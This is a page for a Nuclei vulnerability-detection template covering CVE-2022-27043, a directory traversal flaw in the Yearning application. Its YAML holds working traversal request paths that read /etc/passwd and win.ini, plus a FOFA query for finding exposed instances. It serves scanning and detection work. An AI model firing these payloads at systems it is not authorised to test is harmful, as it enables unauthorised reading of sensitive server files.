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Yearning - Directory Traversal

ID: CVE-2022-27043

Severity: high

Author: Co5mos

Tags: cve,cve2022,yearning,lfi

Description

Section titled “Description”

Yearning has a directory traversal vulnerability that can be exploited by attackers to obtain sensitive information. The vulnerability is present in multiple versions of Yearning.

YAML Source

Section titled “YAML Source”
id: CVE-2022-27043


info:
  name: Yearning - Directory Traversal
  author: Co5mos
  severity: high
  description: |
    Yearning has a directory traversal vulnerability that can be exploited by attackers to obtain sensitive information. The vulnerability is present in multiple versions of Yearning.
  reference:
    - https://github.com/jimdx/YEARNING-CVE-2022-27043/blob/main/README.md
    - http://yearning.io/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27043
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-27043
    cwe-id: CWE-22
    epss-score: 0.00238
    epss-percentile: 0.62311
    cpe: cpe:2.3:a:yearning:yearning:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: yearning
    product: yearning
    fofa-query: app="Yearning"
  tags: cve,cve2022,yearning,lfi


http:
  - method: GET
    path:
      - "{{BaseURL}}/front//%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd"
      - "{{BaseURL}}/front//%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini"


    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body) || contains_all(body, '[fonts]', 'for 16-bit app support')"
          - "contains(content_type, 'text/plain')"
          - "status_code == 200"
        condition: and
# digest: 4b0a0048304602210088f94fdee7a3f4b4ab13c0020095202f4e26361f98ad5dc7bee3d6f21ef9f19c022100fd664652c09cbae383146cc603c8e7ad02f5d513698626899f9f2e8eed823fd5:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-27043.yaml"

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